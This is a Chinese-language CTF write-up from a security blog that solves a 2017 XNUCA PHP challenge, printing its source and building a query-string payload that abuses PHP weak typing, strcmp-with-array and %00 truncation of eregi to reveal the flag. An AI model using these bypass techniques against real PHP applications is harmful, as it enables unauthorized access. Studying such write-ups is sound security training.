Chybeta

XNUCA 2017-Web专题赛前指导-php是最好的语言-writeup

php弱类型比较
strcmp、eregi

题目

1
http://218.76.35.75:20114/

Solution

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

接下来逐步分析。目标是让v1,v2,v3都为 1,这样才能得到flag。

v1

1
2
3
4
5
6
7
8
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
....
}

传入的foo,经过一次json_decode,然后转换成array。然后判断 $a["bar1"] 是否满足 is_numeric,若满足则die掉。接下来又判断 $a["bar1"] 是否大于 2016 。

利用php弱类型特性,可以设置

1
$a["bar1"] = 2017a

这样is_numeric时会判断其为字符串而不是数字,而在与2016的比较中,会直接转换成2017,满足大于2016。这样 v1 就被设置为 1 了。

v2

1
2
3
4
5
6
7
8
9
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}

接下来,要求$a["bar2"]是个数组,其中元素的个数为5个(count($a[“bar2”])!==5),同时要求$a["bar2"][0]是数组。所以我们设置:

1
$a["bar2"] = [[],2,3,4,5]

对于 $pos = array_search("nudt", $a["a2"]);,它搜索字符串“nudt”在$a[“a2”]中的位置。若没有找到,array_search返回false,会通过严格比较导致die掉。所以这里要设置:

1
$a["a2"] = “nudt”

注意这里因为用了$pos===false?的严格比较,所以0不===false。

之后就能设置 v2 = 1

结合$a是由json_decode得来,所以第一个payload为:

1
foo={"bar1":"2017a","bar2":[[],2,3,4,5],"a2":["nudt"]}

v3

1
2
3
4
5
6
7
8
9
10
11
12
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}

先会用strcmp进行比较,利用数组array和字符串进行strcmp比较会返回null,而且数组array也不会等于字符串,我们可以设置cat[1]为一个数组。

接下来用eregi对拼接后的字符串$d.$c[0]进行正则匹配,若匹配到则die掉。而下一步又要求拼接字符串$c[0].$d中要有字符串“htctf2016”。这里利用%00对eregi的截断功能,则在正则匹配eregi时在开头时就匹配结束掉。

strpos(($c[0].$d), "htctf2016")中,还要求“htctf2016”不能出现在开头。

所以设置:

1
2
3
$d = %00 即 dog=%00
$c[0] = "ahtctf2016"

所以综上所述,构造总的payload如下:

1
http://218.76.35.75:20114/?foo={"bar1":"2017e","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00

得到flag:

1
php_i5_n0t_b4d

后记

题目已收录进:CTF-Web-Challenge-php:challenge-2

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XNUCA 2017-Web专题赛前指导-php是最好的语言-writeup

文章作者:chybeta

发布时间:2017年08月18日 - 17:08

最后更新:2017年08月18日 - 19:08

原始链接:http://chybeta.github.io/2017/08/18/XNUCA-2017-Web专题赛前指导-php是最好的语言-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。